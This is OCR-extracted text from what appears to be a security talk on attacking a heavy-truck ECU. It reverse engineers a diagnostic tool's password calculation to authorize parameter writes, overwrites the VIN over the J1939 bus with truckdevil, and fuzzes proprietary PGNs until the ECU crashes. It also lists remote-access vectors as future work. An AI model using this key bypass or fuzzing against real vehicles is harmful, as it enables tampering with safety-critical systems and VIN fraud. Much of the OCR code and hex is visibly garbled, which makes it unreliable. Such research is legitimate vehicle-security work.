getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

®* ecmSN = parameter 420101 = “081013440272060211024123”

—_———— = ——— gy

} public ‘Parameter getECMSer

{

!
18FFDDEO 6 FFDD 680 --> FF [0019] 7242313ﬂﬂﬂﬂ&ﬂE38131344327236321132412ﬂ ﬁ;

25 23111 °




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)
{

return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);
. 4

getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

* toolSn = “Blue” = 426C7565

F“I-I'-I-.I-'I- e o e I ol I BT W el VAE 'l = - 5

public static final byte[] ?ﬁﬂL_SN = "Blue".getBytes();

el f o mdemde e m Fm e mT L mde MARALMPTNR PAFAMR TTLIFEALT -




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{
' return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);

getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

® totalTt = the current count / parameter 560000

} private . Parameter jget]

{

return findSParameter(86, ©);




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{
: return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);

- d
getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{
' return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);

getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

* block = first byte of parameter identifier '

18FFDDF9 86 FFDD F9 --> FF [0018] 77E§ﬂ53§FF42687565474243524344524499




®* Reverse engineering the tool

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byte[] data)

{
' return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);

getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

* |evel = second (and third) byte of parameter identifier '

18FFDDF9 86 FFDD F9 --> FF [0018] 77Eﬂ§§B§FF42687565474243524344524499




®* Reverse engineering the tool

e[] data)

'} protected byfe[] gefﬁPPassword(hyte[] ecmSn, byte[] toolSn, byte[] totalTt, byte cmd, byte block, byte level, byt

{
: return a.a(ecmSn, TOOL_SN, totalTt, (byte)1ll9, block, level, level, data);

. 4
getPPPassword(ecmSN, TOOL_SN, getTotalTattleTale(), (byte)119, (byte)parameter.getBlock(), (byte)parameter.getlevel(), valueAsBytes));

I
®* data = the data to be written




* Reverse engineering the tool

d Attempting to calculate the key from a previously recorded write command:

public static void main(String[] args) {
//18FFDDe@ @6 FFDD @@ --> FF [©011] 774A040400 ©4BE 00007530 (current count)

//it should calculate this key: 47424B5243445244

byte[] ecmSn = HexFormat.of().parseHex("©810134408272060211024123");
byte[] toolSn = HexFormat.of().parseHex("426C7565"); //Blue

byte[] totalTt = HexFormat.of().parseHex("@4BE"); //©4BA

byte cmd = (byte)l1l9;

byte block = (byte)74; //0x4A

byte firstLevel = (byte)5;

byte lastlLevel = (byte)5;

byte[] data = HexFormat.of().parseHex("ee");

//18FFDDF9 @6 FFDD F9 --> FF [@©18] 774A@505FF426C7565 47424B5243445244 00 (write

byte[] password = a(ecmSn, toolSn, totalTt, cmd, block, firstLevel, lastlLevel, data);
System.out.println("expected: 47424B5243445244\n"
+ "calculated: " + HexFormat.of().formatHex(password));




P
®* Reverse engineering the tool

€ It worked!

expected: 47424B5243445244
calculated: 47424b5243445244




®* Reverse engineering the tool

Transferring the key calculation to our python script. Writing the VIN worked!

(truckdevil.custom) write_by_identifier Ox550000 334853444A534A5236434E353832303230

4d48434d46465243
18FFDDF9 06 FFDD F9 --> FF [0034] 77550000FF426C75654D48434D46465243334853444A534A5236434E353832303230

Request:
18FFDDF9 06 FFDD F9 --> FF [0034] 77550000FF426C75654D48434D46465243334853444A534A5236434E353832303230

Response:

18FFDDOR 06 FFDD 00 --> FF [0024] 77550000000A17334853444A534A5236434E353832303230
New value of ID 550000: 334853444A534A5236434E353832303230
(truckdevil.custom) I

.

| 7“\7&&%




(truckdevil.custom) fuzz_test_cases 6

baselining...

18FFDDF9 86 FFDD F9 --> FF [0068] 1000600000800060
18FEFFB0 06 FEFF 80 --> FF [0008] FCFFFFFFFFFFFFFF

®* Are there other service identifiers besides

18FFDDF9 86 FFDD F9 --> FF [B@B8] 1600000060000000 \ _ : .
18FE9408 86 FE94 88 --> FF [0088] 006BE00860000068 read/wrlte/dlagnostlc session control?

18FFDDFY 86 FFDD F9 --> FF [6008] 23080060000080608
18FEFFEO 86 FEFF 08 --> FF [8008] FCFFFFFFFFFFFFFF

18FFDDF9 86 FFDD F9 --> FF [8868] 378680860080800868
18FEFFBE 06 FEFF 88 --> FF [8868] FCFFFFFFFFFFFFFF

18FFDDFY 86 FFDD F9 --> FF [0068] 4BBEEOEEEOEE0OEE
18FEFFB8 86 FEFF 88 --> FF [8088] FCFFFFFFFFFFFFFF

18FFDDFY 86 FFDD F9 --> FF [6008] 5FO00666600066608
18FEFFEO 86 FEFF 08 --> FF [8008] FCFFFFFFFFFFFFFF

18FFDDF?  ©6 FFDD F9 --> FF [8868] 6060066B66000066
18FFDDBE  ©6 FFDD 06 --> FF [8668] 6DBOC8BBFFFFFFFF

18FFDDF9 06 FFDD F9 --> FF [8008] 76000000800000880
18FFDDBB  B6 FFDD B8 --> FF [B608] 7600080BBADA16FF

18FFDDF9 86 FFDD F9 --> FF [B0B8] 7200080080080080
18FFDDOEO 06 FFDD 00 --> FF [0008] 720000000BOA16FF




(truckdevil.custom) fuzz_test_cases 16

baselining...

18FF41F9 86 FF41 F9 --> FF [0008] FFFFFFFFFFFFFFFF
18E8FFBE 06 E8DO 00 --> FF [0008] BOFFFFFFF941FFO0

®* What are the other proprietary messages?

18FFSCF9 86 FFSC F9 --> FF [8808] FFFFFFFFFFFFFFFF
18FE94B0 86 FE94 88 --> FF [BBO8] 00BE00B700060008 (PGNs FFOO-FFFF)

18FFSDF9  B6 FF5D F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FE9488  B6 FE94 00 --> FF [0868] 8068060766006008

18FF94F9  B6 FF94 F9 --> FF [0868] FFFFFFFFFFFFFFFF
18E8FFEE  B6 E80O B0 --> FF [0868] B1FFFFFFF994FFOB

18FFA9F9  B6 FFA9 F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FFA988  B6 FFA9 80 --> FF [0868] FFB181FFFFFFFFFF

18FFAAFY  B6 FFAA F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FFAABE  B6 FFAA 80 --> FF [0868] FFB181FFFFFFFFFF

18FFABFY  B6 FFAB F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FFABBE  B6 FFAB 80 --> FF [0868] FFB181FFFFFFFFFF

18FFACF9  B6 FFAC F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FFACEE  B6 FFAC 80 --> FF [0868] FFB181FFFFFFFFFF

18FFBEF9  B6 FFBE F9 --> FF [0868] FFFFFFFFFFFFFFFF
18FE9488  B6 FE94 80 --> FF [0868] 80680660766006008




® Let’s fuzz these protocols!
Pros:
- will find cases of improper input validation and error handling

- limited setup and knowledge of protocol needed

|- canrun 24/7 with little oversight
| Cons:

- cannot traverse all program paths

o - only tests cases that would cause the ECU to crash
-J |

4 - fuzzing an ECU is a lot slower than fuzzing a native or remote application

5 21 ¢
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® Fuzzing the protocol on PGN OxFFDD

Welcome to the truckdevil J1939 Fuzzer.
(truckdevil.j1939_fuzzer) target add 0 60928
(truckdevil.j1939_fuzzer) target

address: @ reboot_pgn: 68928 reboot_data_snip: not set
(truckdevil.j1939_fuzzer) set mode 1
(truckdevil.j1939_fuzzer) set generate_data_option 2
(truckdevil.j1939_fuzzer) set message_frequency 0.2
(truckdevil.j1939_fuzzer) set test_case_can_id Ox18FFDDF9
(truckdevil.j1939_fuzzer) record_baseline

Baselining for 68 seconds...

Baselining complete.

(truckdevil.j1939_fuzzer) generate_test_cases

Creating 5000 messages to fuzz...
(truckdevil.j1939_fuzzer) start_fuzzer

Bending: [.....oooiiiiiiii ] 11/5000

| P EEEE N




® Fuzzing all protocols that may be running in the proprietary range (PGN FFOO-FFFF)

Welcome to the truckdevil J1939 Fuzzer.
(truckdevil.j1939_fuzzer) target add 8 60928
(truckdevil.j1939_fuzzer) target

address: 0 reboot_pgn: 60928 reboot_data_snip: not set
(truckdevil.j1939_fuzzer) set mode 1
(truckdevil.j1939_fuzzer) set generate_data_option 2
(truckdevil.j1939_fuzzer) set message_frequency 0.1
(truckdevil.j1939_fuzzer) set test_case_priority &
(truckdevil.j1939_fuzzer) set test_case_reserved_bit ©
(truckdevil.j1939_fuzzer) set test_case_data_page_bit ©
(truckdevil.j1939_fuzzer) set test_case_pdu_format 0xff
(truckdevil.j1939_fuzzer) set test_case_src_address 0xf9
(truckdevil.j1939_fuzzer) record_baseline

Baselining for 60 seconds...

Baselining complete.

(truckdevil.j1939_fuzzer) set num_messages 20080
(truckdevil.j1939_fuzzer) generate_test_cases

Creating 20800 messages to fuzz...

— (truckdevil.j1939_fuzzer) start_fuzzer

Bending: [...oee 1 46/20008




* When the fuzzer detects a crash, it looks like this:

(truckdevil.j1939_fuzzer) start_fuzzer
Sending: [#### 1 2822/20008
source: @
interval messages/second: 254.7
baseline messages/second: 280.31666666666666
Reason: targets reboot message was detected.
Stored previous interval fuzzed messages to: crashReport_16360656351_previous_1
Stored current interval fuzzed messages to: crashReport_1636866351_current_1
Please restart the ECU. Once complete, enter 'y' to continue / 'gQ' to guit fuzzing: D




® Other things to investigate:

How does modifying various parameters affect the vehicle when running?

In a running vehicle, what other data is the ECU normally accepting from other ECUs?

The diagnostic tool also allows for running diagnostic tests

The ECU is requesting PGN OxFEE6 (date/time) from node 0x96

0@r00400 63 FOB4 B0 --> FF [00B8] F87D7DB0OBBBFATD
; : IIBEA‘?EIBH 06 EAGB 08 --> 96 [POB3] E6FEBE
Q. OCFO0400 03 FB04 68 --> FF [BO08] F87D7D0DBOBOFATD
J




_

Future work:

Reverse engineer the diagnostic tools, set up a debugger, look for other possible admin
functionality

Open the ECU, pull firmware off and look for hard-coded secrets and bugs, look for
remote vectors

Acquire the manufacturer’s telematics unit, and perform additional work on the back-
end systems to find remote access vector to ECU

Perform assessment on manufacturer’s full running vehicle, review any gateways or
mitigations that may be in place

T35 7210




Thank you!

Questions?

‘-_ra i ) _%




	Enumerating Vulnerabilities in an ecu
	About me	
	Security Assessment on an ECU	
	Testing framework	
	Set up socketcan
	Install Truckdevil
	The target ecu	
	Threat modeling
	Target ECU Threat Model
	Slide Number 10
	Slide Number 11
	Slide Number 12
	Slide Number 13
	Slide Number 14
	Slide Number 15
	Target ECU Threat Model
	Getting Connected	
	Slide Number 18
	Slide Number 19
	Discovery
	Slide Number 21
	Slide Number 22
	Slide Number 23
	Slide Number 24
	Slide Number 25
	Slide Number 26
	Slide Number 27
	Slide Number 28
	Slide Number 29
	Slide Number 30
	Slide Number 31
	Slide Number 32
	Slide Number 33
	Slide Number 34
	Slide Number 35
	Dynamic testing
	Slide Number 37
	Slide Number 38
	Slide Number 39
	Slide Number 40
	Slide Number 41
	Slide Number 42
	Slide Number 43
	Slide Number 44
	Slide Number 45
	Slide Number 46
	Slide Number 47
	Slide Number 48
	Slide Number 49
	Slide Number 50
	Slide Number 51
	Slide Number 52
	Slide Number 53
	Slide Number 54
	Slide Number 55
	Slide Number 56
	Slide Number 57
	Slide Number 58
	Slide Number 59
	Slide Number 60
	Slide Number 61
	Slide Number 62
	Slide Number 63
	Slide Number 64
	Slide Number 65
	Slide Number 66
	Slide Number 67
	Slide Number 68
	Slide Number 69
	Slide Number 70
	Slide Number 71
	Slide Number 72
	Slide Number 73
	Slide Number 74
	Slide Number 75
	Slide Number 76
	Slide Number 77
	Slide Number 78
	Slide Number 79

